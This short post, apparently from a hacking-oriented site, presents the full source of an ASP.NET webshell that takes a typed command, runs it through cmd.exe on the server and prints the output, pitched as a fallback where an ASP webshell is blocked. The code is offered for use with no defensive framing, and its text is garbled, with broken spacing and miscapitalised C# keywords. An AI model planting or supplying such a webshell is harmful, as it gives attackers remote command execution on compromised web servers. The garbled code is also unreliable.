A WebShell under ASP. Net mainly completes the cmd command. In general server settings, asp.net users have high permissions. If asp webshell cannot be executed, asp.net may be executed.
The Code is as follows:
<% @ Page Language = "C #" AutoEventWireup = "true" %>
<% @ Import Namespace = "System. Runtime. InteropServices" %>
<% @ Import Namespace = "System. IO" %>
<% @ Import Namespace = "System. Data" %>
<% @ Import Namespace = "System. Reflection" %>
<% @ Import Namespace = "System. Diagnostics" %>
<% @ Import Namespace = "System. Web" %>
<% @ Import Namespace = "System. Web. UI" %>
<% @ Import Namespace = "System. Web. UI. WebControls" %>
<Script runat = "server">
Protected void exec (object sender, EventArgs e)
{
String item = cmd. Text;
Process p = new Process ();
P. StartInfo. FileName = "cmd.exe ";
P. StartInfo. UseShellExecute = false;
P. StartInfo. RedirectStandardInput = true;
P. StartInfo. RedirectStandardOutput = true;
P. StartInfo. RedirectStandardError = true;
P. StartInfo. CreateNoWindow = true;
String strOutput = null;
P. Start ();
P. StandardInput. WriteLine (item );
P. StandardInput. WriteLine ("exit ");
StrOutput = p. StandardOutput. ReadToEnd ();
P. WaitForExit ();
P. Close ();
Response. Write ("<pre> ");
Response. Write (strOutput );
Response. Write ("</pre> ");
}
Protected void Page_Load (object sender, EventArgs e)
{
}
</Script>
<Form id = "form1" runat = "server">
<Asp: TextBox id = "cmd" runat = "server" Text = "dir c:"/> <asp: button id = "btn" onclick = "exec" runat = "server" Text = "execute"/>
</Form>